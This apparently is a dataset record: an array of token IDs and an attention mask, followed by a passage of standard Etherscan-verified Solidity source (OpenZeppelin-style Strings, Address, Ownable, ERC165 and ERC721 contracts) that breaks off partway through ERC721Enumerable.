19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
